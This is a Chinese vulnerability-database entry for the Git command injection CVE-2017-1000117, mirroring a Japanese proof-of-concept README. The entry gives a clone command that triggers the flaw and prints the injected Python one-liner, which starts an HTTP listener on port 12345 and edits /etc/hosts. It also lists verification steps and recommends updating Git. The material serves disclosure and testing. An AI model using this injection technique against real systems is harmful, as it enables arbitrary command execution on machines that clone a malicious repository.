关联漏洞
标题:
Git 命令注入漏洞
(CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
描述
CVE-2017-1000117の検証
介绍
## 動作説明
これはCVE-2017-1000117の脆弱性で動作するものです。
このレポジトリをroot権限でgitコマンドに--recurseオプションをつけてクローンをすると、
勝手に12345ポートでリッスンするhttpサーバが動きます。
httpサーバの動作を停止するにはプロセス番号を調べてkillしてください。
## 動作が確認されたOS
CentOS7
macOS Sierra
Debian8
## 実行コマンド
以下のコマンドを実行する。完了するとコンソールが止まってしまうのでCtrl + Cで抜けるようにする。
```
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
```
## 脆弱性の確認方法
1.PSコマンドを実行しPythonのコードが動いているかを確認する。
```
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
```
2.netstatで12345ポートがリッスンされているか確認する。
```
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
```
macOSの場合は以下のコマンドで確かめる。
```
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
```
3./etc/hostsの最下行に「127.0.0.1 ホスト名」が追加されているかを確認する。
## 対策
gitを最新バージョンへとアップデートする。以下のリンクを参照。
[GitHubのリモートレポジトリから最新のGitへアップデートする方法](http://shadows.dip.jp/?p=493)
文件快照
[4.0K] /data/pocs/9a927c6f3318fb958c0e35d0ee72d17036dfca83
├── [4.0K] CVE-2017-1000117
├── [ 18K] LICENSE
├── [2.1K] README.md
└── [ 426] scripts.sh
1 directory, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。